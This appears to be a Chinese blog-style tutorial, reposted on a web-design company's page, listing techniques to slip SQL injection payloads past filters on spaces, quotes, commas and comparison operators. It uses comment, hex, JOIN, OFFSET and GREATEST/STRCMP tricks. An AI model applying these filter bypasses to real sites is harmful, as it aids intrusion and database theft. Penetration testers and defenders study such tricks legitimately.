东方市网站建设_网站建设公司_jQuery_seo优化
2026/1/16 19:16:35 网站建设 项目流程

一、背景

在平时的sql注入不乏出现会一些注入语句进行过滤的情况,如对空格、引号之类的进行过滤,本文在这里就对一些平时经常用到的过滤方式进行一些总结,希望能够给到大家参考。

二、输入内容过滤

一、空格过滤

1、采用注释符的形式:/**/

从图中mysql能正确执行sql语句说明靠/**/可行的。

2、采用%0a

3、采用括号

如:select(user())from dual where(1=1)and(2=2)

二、引号过滤

直接采用十六进制的形式,直接用16进制代表整个字符串。

原始情况:

select column_name from information_schema.tables where table_name="users"

改成用十六进制的情况:

select column_name from information_schema.tables where table_name=0x7573657273

三、逗号过滤

1、join绕过简单注入语句:

UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

2、substr和mid()可以使用from for的方法

如:

select ascii(substr(database(),1,1))=115;

select ascii(mid(database(),1,1))=115;

变成

select ascii(substr(database() from 2 for 1))=115;

select ascii(mid(database() from 1 for 1))=115;

3、limit可使用offest绕过

select * from users limit 1,2;

select * from users limit 2 offset 1; 意思是跳过第一条,输出两条

4、绕过in里面的逗号:

原始:

SELECT * FROM users WHERE id IN (1,2,3);

改之后:

SELECT * FROM users WHERE id=1 OR id=2 OR id=3;

四、比较符号被过滤:

1、greatest

greatest(n1,n2,n3,...) //返回其中的最大值

2、strcmp

strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1

3、between and

如:

SELECT 5 BETWEEN 1 AND 10; -- 返回 1 (true)

SELECT 'c' BETWEEN 'a' AND 'z'; -- 返回1

4、in

SELECT 5 IN (1, 3, 5, 7); -- 返回 1 (true)

SELECT 'admin' IN ('user', 'guest', 'admin'); -- 返回 1

SELECT 'root' IN ('admin', 'user'); -- 返回 0 (false)

5、直接用等号

我门做比较也不一定非得用大于小于符号,也可以用等号代替使用。

aa

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询